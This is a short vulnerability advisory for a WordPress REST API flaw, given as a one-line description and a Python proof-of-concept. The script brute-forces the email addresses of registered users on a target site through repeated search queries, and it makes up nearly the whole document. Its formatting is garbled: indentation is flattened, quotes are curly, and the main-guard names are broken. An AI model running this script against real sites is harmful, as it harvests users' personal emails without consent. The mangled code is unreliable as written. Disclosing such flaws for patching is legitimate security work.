WP < 6.3.2 - Unauthenticated Post Author Email Disclosure

Description WordPress does not properly restrict which user fields are searchable via the REST API.

PoC

from multiprocessing import Pool import requests import string import json import sys if len(sys.argv) != 2: print(f’USAGE: {sys.argv[0]} ‘) sys.exit() url = sys.argv[1].rstrip(’/‘) + ‘/wp-json/wp/v2/users’ known_users = {} user_suffixes = [] current_suffix = ‘@’ headers = { ‘Content-Type’: ‘application/json’, ‘User-Agent’: ‘Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10136’ } def bruteforce_search(txt): users = json.loads(requests.get(url, headers=headers, data=json.dumps({‘search’:txt})).text) return (txt, users) if name == ‘main’: # String comparisons in the DB are case-insensitive, so don’t bother with uppercase letters dic = string.ascii_lowercase + string.digits + ‘!#$&'+/=?^_`{|}~\.-]+’ p = Pool(16) users = json.loads(requests.get(url).text) # Initial round: Grab all users by their first email domain’s character suffixes = [current_suffix + c for c in dic] for suffix, users in p.imap(bruteforce_search, suffixes): if len(users) > 0: print(users) for user in users: slug = user[‘slug’] print(f’# Added user: {slug}, suffix: {suffix}‘) known_users[user[‘slug’]] = suffix # Iterate through all users for user in known_users: print(f’# Bruteforcing email domain for {user}…‘) foundSomething = True while foundSomething: foundSomething = False suffixes = [known_users[user] + c for c in dic] for suffix, users_found in p.imap(bruteforce_search, suffixes): for user_found in users_found: if user_found[‘slug’] == user: print(suffix) known_users[user] = suffix foundSomething = True break for user in known_users: print(f’# Bruteforcing email ID for {user}…‘) foundSomething = True while foundSomething: foundSomething = False suffixes = [c + known_users[user] for c in dic] for suffix, users_found in p.imap(bruteforce_search, suffixes): for user_found in users_found: if user_found[‘slug’] == user: print(suffix) known_users[user] = suffix foundSomething = True break print(’# Found the following:‘) for user in known_users: email = known_users[user] print(f’{user} => {email}')